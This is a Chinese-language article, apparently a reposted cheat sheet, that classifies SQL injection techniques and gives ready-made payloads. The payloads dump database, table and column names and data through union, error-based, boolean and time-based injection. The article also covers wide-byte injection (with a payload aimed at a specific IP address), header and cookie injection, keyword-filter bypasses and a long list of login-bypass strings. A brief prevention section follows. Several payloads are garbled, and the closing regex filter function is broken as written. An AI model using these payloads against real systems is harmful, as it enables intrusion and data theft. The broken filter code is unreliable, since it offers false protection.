SQL注入的分類
Boolean盲注
Boolean型的注入意思就是頁面回傳的結果是Boolean型的,通過構造SQL判斷陳述句,查看頁面的回傳結果是否報錯,頁面回傳是否正常等來判斷哪些SQL判斷條件時成立的,通過此來獲取資料庫中的資料,
id=1' and length(database())>=8--+
Union注入
當應用程式容易受到 SQL 注入攻擊,并且查詢結果在應用程式的回應中回傳時,可使用 UNION 關鍵字從資料庫的其他表檢索資料,這就導致了 UNION 注入攻擊,
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
檔案讀寫
SQL注入讀寫檔案的根本條件:
-
資料庫允許匯入匯出(secure_file_priv)
-
當前用戶用戶檔案操作權限(File_priv)
報錯注入{ floor報錯注入
floor:對任意的正或者負十進制值向下取整;通常利用這兩個函式(group by)的方法是floor(rand(0))*2 ,其會生成0和1兩個數
爆資料庫名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆表名:'union select 1 from (select count(),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a 爆列名:'union select 1 from (select count(),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a 爆資料:'union select 1 from (select count(),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a
ExtractValue報錯注入:
函式原型:extractvalue(xml_document,Xpath_string)
正常語法:extractvalue(xml_document,Xpath_string); 第一個引數:xml_document是string格式,為xml檔案物件的名稱 第二個引數:Xpath_string是xpath格式的字串 作用:從目標xml中回傳包含所查詢值的字串
第二個引數是要求符合xpath語法的字串,如果不滿足要求,則會報錯,并且將查詢結果放在報錯資訊里,因此可以利用,
爆資料庫名:id='and(select extractvalue(1,concat('~',(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) 爆欄位名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) 爆資料:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
UpdataXml報錯注入
函式原型:updatexml(xml_document,xpath_string,new_value)
正常語法:updatexml(xml_document,xpath_string,new_value) 第一個引數:xml_document是string格式,為xml檔案物件的名稱 第二個引數:xpath_string是xpath格 式的字串 第三個引數:new_value是string格式,替換查找到的負荷條件的資料 作用:改變檔案中符合條件的節點的值
第二個引數跟extractvalue函式的第二個引數一樣,因此也可以利用,且利用方式相同
爆資料庫名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e)) 爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e)) 爆資料:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
} 時間盲注
時間盲注出現的本質原因也是由于服務器拼接了SQL陳述句,但是正確和錯誤存在同樣的回顯,所以根據頁面回應時間來判斷結果,
' and if(1=0,1, sleep(10)) --+ ,若為真時延時,則
爆資料庫 ' and if(ascii(substr(database(),1,1))>95,sleep(6),1)%23(二分法猜解資料庫名每一個資料,最好先爆資料庫長度)
REGEXP正則匹配(盲注值正則運算式攻擊)
應該場景就是盲注,原理就是直接查詢自己需要的資料,然后通過正則運算式進行匹配,實用場景如下:
and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^[a-z]' LIMIT 0,1)
寬位元組注入
GBK 占用兩位元組,ASCII占用一位元組
PHP中編碼為GBK,函式執行添加的是ASCII編碼(添加的符號為“\”),MYSQL默認字符集是GBK等寬位元組字符集,
大家都知道%df’ 被PHP轉義(開啟GPC、用addslashes函式,或者icov等),單引號被加上反斜杠\,變成了 %df\’,其中\的十六進制是 %5C ,那么現在 %df\’ =%df%5c%27,如果程式的默認字符集是GBK等寬位元組字符集,則MySQL用GBK的編碼時,會認為 %df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了,
http://103.238.227.13:10083/index.php?id=%df%27 union select 1,2%23
堆疊注入
在SQL陳述句中,陳述句的結束都是以;結尾,但是如果我們在;后面再加上一條SQL陳述句,兩條陳述句會一起執行嗎?這也就是造成堆疊注入的原因了,例:select * from users;DELETE FROM test
二次注入
攻擊者構造的惡意資料存盤在資料庫后,惡意資料被讀取并進入到SQL查詢陳述句所導致的注入,防御者可能在用戶輸入惡意資料時對其中的特殊字符進行了轉義處理,但在惡意資料插入到資料庫時被處理的資料又被還原并存盤在資料庫中,當Web程式呼叫存盤在資料庫中的惡意資料并執行SQL查詢時,就發生了SQL二次注入,
第一步:插入惡意資料 進行資料庫插入資料時,對其中的特殊字符進行了轉義處理,在寫入資料庫的時候又保留了原來的資料,
第二步:參考惡意資料 開發者默認存入資料庫的資料都是安全的,在進行查詢時,直接從資料庫中取出惡意資料,沒有進行進一步的檢驗的處理,

User-Agent注入
Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+;攻擊者卻將 SQL 查詢陳述句 select * from (select(sleep(20))) 隱藏在了 HTTP 頭部的 User-Agent 欄位之中
Cookie注入
1.尋找形如“.asp?id=xx”類的帶引數的URL,
2.去掉“id=xx”查看頁面顯示是否正常,如果不正常,說明引數在資料傳遞中是直接起作用的,
3.清空瀏覽器地址欄,輸入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter鍵后彈出一個對話框,內容是“id=xx”,然后用原來的URL重繪頁面,如果顯示正常,說明應用使用Request("id")這種方式獲取資料的,
4.重復上面的步驟,將常規SQL注入中的判斷陳述句帶入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” “javascript:alert(document.cookie="id="+escape("xx and 1=2"));”,和常規SQL注入一樣,如果分別回傳正常和不正常頁面,則說明該應用存在注入漏洞,并可以進行cookie注入,
5.使用常規注入陳述句進行注入即可,
過濾繞過
1、過濾關鍵字
過濾如select、or、from等的關鍵字,則可以采用穿插關鍵字進行繞過操作,如 select ---- selselectect;or ----oorr;union ---- uniunionon,也可以通過大小寫轉換,如select --- SeLect,十六進制過濾 select --- selec\x74等等,
2、過濾空格
注釋:#;--;//,
URL編碼:空格編碼%20,則 %20 ---- %2520
等
3、過濾單引號
4、繞過相等過濾
萬能密碼
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密碼隨便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1
SQL注入的預防
預編譯
預編譯可以防止sql注入的原因:進行預編譯之后,sql陳述句已經被資料庫分析,編譯和優化了,并且允許資料庫以引數化的形式進行查詢,所以即使有敏感字符資料庫也會當做屬性值來處理而不是sql指令了
conn.prepareStatement(sql);
因為SQL陳述句在程式運行前已經進行了預編譯,在程式運行時第一次操作資料庫之前,SQL陳述句已經被資料庫分析,編譯和優化,對應的執行計劃也會快取下來并允許資料庫以引數化的形式進行查詢,當運行時動態地把引數傳給PreprareStatement時,即使引數里有敏感字符如 or '1=1'也資料庫會作為一個引數一個欄位的屬性值來處理而不會作為一個SQL指令,如此,就起到了防御SQL注入的作用了!
PDO
$dbh = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass');
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
setAttribute()這一行是強制性的,它會告訴 PDO 禁用模擬預處理陳述句,并使用 real parepared statements ,這可以確保SQL陳述句和相應的值在傳遞到mysql服務器之前是不會被PHP決議的(禁止了所有可能的惡意SQL注入攻擊),
正則運算式過濾
function clean($str)
{
$str=trim($str);
$str=strip_tags($str);
$str=stripslashes($str);
$str=addslashes($str);
$str=rawurldecode($str);
$str=quotemeta($str);
$str=htmlspecialchars($str);
$str=preg_replace("//+|/*|/`|//|/-|/$|/#|/^|/!|/@|/%|/&|/~|/^|/[|/]|/'|/"/", "", $str);//去除特殊符號+*`/-$#^~!@#$%&[]'"
$str=preg_replace("//s/", "", $str);//去除空格、換行符、制表符
return $str;
}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/270670.html
標籤:其他
上一篇:內網小組 | 埠轉發 全劇終
下一篇:從WebShell到域控實戰詳解
